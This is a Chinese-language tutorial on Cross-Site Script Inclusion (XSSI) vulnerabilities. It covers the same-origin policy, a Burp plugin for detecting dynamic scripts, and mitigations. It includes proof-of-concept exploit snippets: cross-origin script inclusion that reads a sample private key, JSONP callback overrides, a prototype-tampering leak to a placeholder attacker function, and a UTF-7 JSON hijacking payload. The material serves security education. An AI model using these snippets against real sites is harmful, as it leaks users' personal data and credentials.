XSSI： 一個不出名但是影響廣泛的Web漏洞
前言
找到一個特定類別漏洞兩個關鍵組成部分：對漏洞的認識和找到漏洞的難易。 跨站腳本包含(XSSI)漏洞在事實上的公共標準即：OWASP TOP 10中并未被提及。 另外并沒有公開的利用的工具來促進找到XSSI。它的影響范圍從泄露個人存儲信息，基于TOKEN的協議的規避到完成帳戶的妥協(猜測意思是應該繞過登錄)。 XSSI漏洞相當廣泛, 由于檢測手段的缺失增大了每一個XSSI漏洞的風險。 在這篇文章中我將演示如果找到XSSI，利用XSSI和如何防護XSSI漏洞。
背景知識
這一部分是來講清楚源和同源策略(SOP)的。如果了解這一部分的可以跳過。
源的概念和基于源的Web內容隔離安全機制(即同源策略)由Netscape在引入JAVASCRIPT的時候一同引入。SOP定義了文檔是如何相互影響的。當兩個文檔屬于同一個源時，它們可以相互訪問。這實際上是WEB安全的基礎。源被大多數瀏覽器定義為端口，域名和協議。 而微軟的IE瀏覽器是一個例外，它不包括端口。它有自己的安全意義。下邊的表是由(Mozilla Developer Network)用URL：http://store.company.com/dir/page.html描述了用于SOP的最通用的規則。
由于多家瀏覽器廠商在文檔間的相互作用沒有一個共同的標準，所以內容隔離是一件非常必要的事情。對于更多信息：安全研究員Michal Zalewski在他的書Tangled Web中有一章的內容都是在寫這個問題。
XSSI
Cross-Site Scrite Inclusion(XSSI),一個有些無形但是描述性的名字，指定了一類漏洞：當資源用script標簽來包含時，SOP就失效了，因為腳本必須能夠包含跨域。因此一個攻擊者可以讀取用script標簽包含的所有內容。
當談到動態的JavaScript和jsonp，所謂的權限信息(如cookie)用于身份驗證時會顯得特別有趣。Cookies 與 CSRF一樣，從不同的主機來請求時會被包含。這個漏洞在上述的Michal Zalewski的書中的腳注與Sebastian Lekies等人的paper的腳注中被提到。
根據script中數據的內容不同，XSSI可以有不同的利用方式。在廣泛傳播的敏感數據是個人信息如e-mail， 郵件地址， 生日等。 但是也可以發現tokes, session id,與其它的ID如UID。 最簡單的利用方式是檢查一個用戶是否已經登錄(登錄 oracle)。獲得的信息可以在社會工程或者其它的特定方式的攻擊中被濫用。
與XSS與CSRF的界限
XSSI在命名上與XSS相近，在描述上與CSRF相近。它仨之間的共同點即同為客戶端攻擊。
與XSS的不同是很容易理解的：在一個XSS的中，惡意代碼被放置在受害者的頁面，而XSSI中受害者的代碼被包含在一個惡意頁面中。 而表面上看XSSI與CSRF是很相似的，因為它們都是一個由惡意頁面的請求至另一個域，而且這兩種情況下，請求都是在用戶已經登錄的情況下執行的。 而最關鍵的不同點在于目的。在CSRF中，攻擊都想要受害者的頁面中執行一個狀態改變的動作，比如在一個在線銀行應用中進行轉帳。在XSSI中攻擊者想要跨域泄露數據，以便然后再執行上述的攻擊。
搜索，找到和利用
當搜索XSSI時，需要區分四種情況。但是幸運的是利用方式是相似甚至是相同的(就像反射與存儲的XSS)。我們可以將四種情況區分如下：
1. 靜態的JavaScript(正常XSSI)
2. 靜態的JavaScript，但是僅在認證后可訪問
3. 動態JavaScript
4. 非JavaScript
正常的XSSI
當一個可公開訪問的靜態腳本包含敏感信息時，都可以認為是一個常規的XSSI。在這種情況下，幾乎只有通過讀文件來檢測這種問題。也可以用啟發式，并用正則表達式來找到私鑰，社保或者信息卡帳號。但是一旦情況被確定，利用通常是微不足道的。讓我們假設敏感內容設定在一個全局變量中，如下面的現實例子(替換的私鑰):
- var privateKey = "-----BEGIN RSA PRIVATE KEY-----\
- MIIEpQIBAAKCAQEAxaEY8URy0jFmIKn0s/WK6QS/DusEGRhP4Mc2OwblFQkKXHOs\
- XYfbVmUCySpWCTsPPiKwG2a7+3e5mq9AsjCGvHyyzNmdEMdXAcdrf45xPS/1yYFG\
- 0v8xv6QIJnztMl18xWymaA5j2YGQieA/UNUJHJuvuvIMkZYkkeZlExszF2fRSMJH\
- FUjnFNiYt0R8agdndexvuxFApYG40Hy6BJWgKW3NxowV9XbHOaDvX+3Bal5tbtrM\
- IzqTptgldzMGs73bJ+7nUqyv7Dicbn1XD4j9XBYy+FOBhVagSztqMFpOFcfAK7Er\
- sorY0yWN6aBobtENBUPkeqGiHxBAQ42ki9QkUwIDAQABAoIBAQCThrBx2iDEW2/b\
- TkOG2vK5A3wEDNfgS8/FAbCv23PCgh8j6I1wvGu1UG4F8P6MoXO9dHN14PjOvQ7m\
- M5Dd82+A4K0wUfn3fnaqs0zByXkqrdSSeVh/RVTDtBUJdhQylqr/TR3ja2qKATf+\
- VFGva3gDzQwfR3SucSAXcZ9d5d37x4nzFRa8ogNxxkCUy1PYHqnIpB/4MsOL8f0S\
- F5LR+u/F67GKFzGZXyh1i/tgIHZCOvftmj2DLx/1EoZyiLSnMABt7XmztIqYXTJG\
- TnXi8ix4vkwUENfveZb9yKrdmrPGITi+f5FYDlyjeSXZYZqAGhSjI69juNn36gCa\
- 6Idt7I3xAoGBAOenoayBlmGEsWDGL8/XuAUlsceGRSoQ/MrGqx7LSgvkROYDyAfE\
- Db8vfy6f/qf9OI1EHwzu8QYnwKh8D0zldz9xl9Fwx4k1EIcD2BjTiJMBBk0FeybO\
- sqe4UwGzJvsTmfhlhJ4zZYLi1wMmkt1q1sMm9gb55nfTUDH8lzWJE/mFAoGBANpm\
- DcmcaUsSXkbBbmHZiV07EW4BUBpleog6avcNOcdGcylvDs17IwG28toAtOiJqQ/F\
- qnOqkQ73QXU7HCcmvQoX/tyxJRg/SMO2xMkYeHA+OamMrLvKgbxGLPG5O9Cs8QMl\
- q944WOrNhSfBE+ghPz4mpBbAxOOw0SoUYwCd52H3AoGAQnTLo8J1UrqPbFTOyJB5\
- ITjkHHo/g0bmToHZ+3aUYn706Quyqc+rpepJUSXjF2xEefpN8hbmHD7xPSSB+yxl\
- HlVHGXWCOLF5cVI//zdIGewUU6o73zEy/Xyai4VKrIK+DA2LkxrphzfuOOArB8wr\
- mkamE/BDFqMPgZeWBWyyx0UCgYEAg9kqp7V6x6yeJ98tEXuv9w3q9ttqDZWIBOgn\
- nWBpqkl4yuHWMO0O9EELmdrlXKGG5BO0VMH7cuqIpQp7c5NqesaDwZ5cQ6go+KbF\
- ZJYWV8TpMNfRjEm0SwKerYvjdZaCpiC/AphH7fEHWzmwF+rCcHYJiAb2lnMvw1St\
- dDjf8H8CgYEA4US7hhi1B2RDSwmNGTTBlGpHqPN73gqx2uOb2VYQTSUA7//b3fkK\
- pHEXGUaEHxxtEstSOUgT5n1kvo+90x3AbqPg6vAN4TSvX7uYIWENicbutKgjEFJi\
- TpCpdZksy+sgh/W/h9T7pDH272szBDo6g1TIQMCgPiAt/2yFNWU6Hks=\
- -----END RSA PRIVATE KEY-----",
- keys = [
- { name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
- { name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
- ];
簡單的將它包含在你的頁面然后讀變量:
- <html>
- <head>
- <title>Regular XSSI</title>
- <script src="https://www.vulnerable-domain.tld/script.js"></script>
- </head>
- <body>
- <script>
- alert(JSON.stringify(keys[0]));
- </script>
- </body>
- </html>
基于xssi的動態JavaScript 與認證的JavaScript的xssi
這兩類有不同的技術背景，雖然這對測試者來說并無關系。幸運的是其發現與利用是相似的。我寫了一個名叫DetectDynamicJSburp插件, 這個插件主要是在審計期間為滲透測試人員進行 web應用檢測。
所有的腳本文件是被動掃描的。之后這個文件會被重新請求，只不過這次沒有cookie。如果接收的文件與原來的文件兩個文件不同，那么將會在target標簽中標記等級為Information 。它能找到動態JavaScript與那些當用戶認證后才能訪問的到的JavaScript。之所以標記為Information ，是因為動態JavaScript并不一定有安全風險。它可以用來處理用戶數據，服務引導，在復雜應用中設置變量和與其他的服務(如追蹤)來共享數據。
想知道一個文件是否是腳本，那么就需要過濾器了。這個過濾器在經歷不斷變化且正在不斷發展著。目前這個插件檢查文件擴展名為.js，.jsp，與.json。 .json并不是一個正確的腳本擴展名，甚至不是jsonp, 但是這并不妨礙開發者對它的濫用。
為了減少誤報，原始文件的第一個字符判斷不為{，因為這目前并不是一個有效的腳本語法。同時對content-type檢查是否包含 javascript, jscript,
ecmascript和json。過濾器也可以識別burpsuite的mimetype識別方法。如果在stateMimeType或者inferredMimeType中包含script，那么它就會被掃描。旁注：該擴展是在burp的1.6.39版本前開發的，其中對檢測機制進行改進。盡管如此，也偶爾無法檢測到javascript文件。一些過濾器肯定是多余的，但是經驗表明如果試圖減少一些過濾器會導致漏報。為了進一步減少誤報，則檢查原始文件的HTTP響應代碼不是來自30-X。另一個減少誤報的方法：如果第二版的文件(未經認證得到的文件)是一個腳本(非html)且和原始文件不同，那就發送第二次的未認證的請求，來獲得第三版的文件。如果兩個未經認證的文件以不同的響應結束，那么我們可以總結說這是一個通用的動態腳本且不依賴認證。這種情況經常在時間戳和廣告中出現。
利用
xssi可以在用戶已經認證的上下文中來竊取私鑰等。濫用的情況受到開發者想像的限制。但是有些情況反復出現，所以我想說明的是這些情況。
變量如果置于全局命名空間，那么它們很容易被讀取。
函數的重寫即使對于一個javascript新手來說也不應該成為一個問題。下面的示例來自于一個真實的案例。網站使用jsonp來回調配置頁面的用戶數據。
- angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
為了得到信息， function _7 必須被重寫.
- <script>
- var angular = function () { return 1; };
- angular.callbacks = function () { return 1; };
- angular.callbacks._7 = function (leaked) {
- alert(JSON.stringify(leaked));
- };
- </script>
- <script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
也可以適用于全局函數。 在這個例子中，甚至不需要重寫函數，只需要提供一個自己的callback函數。
- <script>
- leak = function (leaked) {
- alert(JSON.stringify(leaked));
- };
- </script>
- <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
如果一個變量并沒有在全局命名空間，那么有時候也可以能過prototype tampering來利用。prototype tampering濫用在javascript的設計中，也就是當解釋代碼時，javascript會遍歷prototype 鏈來找到調用的屬性。 下面的例子是在論文The Unexpected Dangers of Dynamic JavaScript 中提取的。演示如何覆蓋類型Array的相關函數并訪問它，非全局變量也可以泄漏。
- (function(){
- var arr = ["secret1", "secret2", "secret3"];
- // intents to slice out first entry
- var x = arr.slice(1);
- ...
- })();
在原始代碼中，在原始的代碼中我們可以通過slice訪問數組中我們感興趣的數據, 當然攻擊者可以，如上所說的，重寫slice函數以竊取信息。
- Array.prototype.slice = function(){
- // leaks ["secret1", "secret2", "secret3"]
- sendToAttackerBackend(this);
- };
安全調查員Sebastian Lekies剛剛更新了他的列表。
非腳本的xssi
Takeshi Terada 在他的論文Identifier based XSSI attacks中描述了另一種類型的xssi,通過在腳本標簽中包含CSV文件作為源，使用數據作為變量和函數名稱，能夠跨源地泄露非腳本文件。
第一起公開描述xssi的文檔是在2006年。 Jeremiah Grossman的博客 Advanced Web Attack Techniques using GMail 描述了一個xssi，可能重寫array的構造函數可以讀取到所有google帳號的地址。
在2007年， Joe Walker出版了JSON is not as safe as people think it is 。 他使用了同樣的手段來竊取一個array內的json信息。
也有一些其他相關的攻擊是由將utf-7編碼的內容注入到json中以逃避json格式來進行的。是由Gareth Heyes, Hackvertor的作者， 在他的博客JSON Hijacking 在2011年提出的。在快速測試中，這仍然可能出現了ie和edge中，但是firefox或者chrome并無此問題。
JSON with UTF-7:
- [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
在攻擊者的頁面包含json:
- <script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
XSSI的防護
開發者永遠也不要把敏感數據放在javascript文件中， 也不要放在jsonp中。這就已經可以阻止1-3這三大類型的大部分攻擊。類型4的漏洞問題通常通過瀏覽器一方來修復。無論如何，將用戶信息保存到json文件然后讀取的行為應該被禁止。
Takeshi Terada論文中描述的最大的bug被修復了。然而總是可能再一次發現相似的bug。至少這可以通過告訴瀏覽器不要再猜測content-type來阻止一部分。一些瀏覽器可以接受尚未標準化的http響應頭X-Content-Type-Option:nosniff來做這些。一個正確的Content-Type對于減少xssi的可能性也有幫助。
